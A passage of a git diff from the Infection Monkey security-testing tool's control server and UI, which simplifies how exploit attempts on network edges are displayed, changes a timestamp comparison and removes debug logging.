EdgeService.services_to_displayed_services(edge["scans"][-1]["data"]["services"]) os = edge["scans"][-1]["data"]["os"] - for exploit in edge["exploits"]: - new_exploit = EdgeService.exploit_to_displayed_exploit(exploit) - - if (len(exploits) > 0) and (exploits[-1]["exploiter"] == exploit["exploiter"]): - exploit_container = exploits[-1] - else: - exploit_container =\ - { - "exploiter": exploit["exploiter"], - "start_timestamp": exploit["timestamp"], - "end_timestamp": exploit["timestamp"], - "result": False, - "attempts": [] - } - - exploits.append(exploit_container) - - exploit_container["attempts"].append(new_exploit) - if new_exploit["result"]: - exploit_container["result"] = True - exploit_container["end_timestamp"] = new_exploit["timestamp"] - displayed_edge = EdgeService.edge_to_net_edge(edge) displayed_edge["ip_address"] = edge["ip_address"] displayed_edge["services"] = services displayed_edge["os"] = os - displayed_edge["exploits"] = exploits + displayed_edge["exploits"] = edge['exploits'] displayed_edge["_label"] = EdgeService.get_edge_label(displayed_edge) return displayed_edge - @staticmethod - def exploit_to_displayed_exploit(exploit): - user = "" - password = "" - - # TODO: The format that's used today to get the credentials is bad. Change it from monkey side and adapt. - result = exploit["data"]["result"] - if result: - if "creds" in exploit["data"]["machine"]: - user = exploit["data"]["machine"]["creds"].keys()[0] - password = exploit["data"]["machine"]["creds"][user] - else: - if ("user" in exploit["data"]) and ("password" in exploit["data"]): - user = exploit["data"]["user"] - password = exploit["data"]["password"] - - return \ - { - "timestamp": exploit["timestamp"], - "user": user, - "password": password, - "result": result, - } - @staticmethod def insert_edge(from_id, to_id): edge_insert_result = mongo.db.edge.insert_one( diff --git a/monkey_island/cc/services/node.py b/monkey_island/cc/services/node.py index 55b82c5d0..24ab18cc2 100644 --- a/monkey_island/cc/services/node.py +++ b/monkey_island/cc/services/node.py @@ -62,9 +62,9 @@ class NodeService: @staticmethod def _cmp_exploits_by_timestamp(exploit_1, exploit_2): - if exploit_1["start_timestamp"] == exploit_2["start_timestamp"]: + if exploit_1["timestamp"] == exploit_2["timestamp"]: return 0 - if exploit_1["start_timestamp"] > exploit_2["start_timestamp"]: + if exploit_1["timestamp"] > exploit_2["timestamp"]: return 1 return -1 diff --git a/monkey_island/cc/ui/src/components/pages/MapPage.js b/monkey_island/cc/ui/src/components/pages/MapPage.js index 018b090e5..c31bbb6eb 100644 --- a/monkey_island/cc/ui/src/components/pages/MapPage.js +++ b/monkey_island/cc/ui/src/components/pages/MapPage.js @@ -98,7 +98,6 @@ class MapPageComponent extends React.Component { selectionChanged(event) { if (event.nodes.length === 1) { - console.log('selected node:', event.nodes[0]); // eslint-disable-line no-console fetch('/api/netmap/node?id=' + event.nodes[0]) .then(res => res.json()) .then(res => this.setState({selected: res, selectedType: 'node'})); @@ -117,7 +116,6 @@ class MapPageComponent extends React.Component { } } else { - console.log('selection cleared.'); // eslint-disable-line no-console this.setState({selected: null, selectedType: null}); } } diff --git a/monkey_island/cc/ui/src/components/preview-pane/PreviewPane.js b/monkey_island/cc/ui/src/components/preview-pane/PreviewPane.js index b5226fa8d..6e4178067 100644 --- a/monkey_island/cc/ui/src/components/preview-pane/PreviewPane.js +++ b/monkey_island/cc/ui/src/components/preview-pane/PreviewPane.js @@ -82,9 +82,9 @@ class PreviewPaneComponent extends React.Component {

Timeline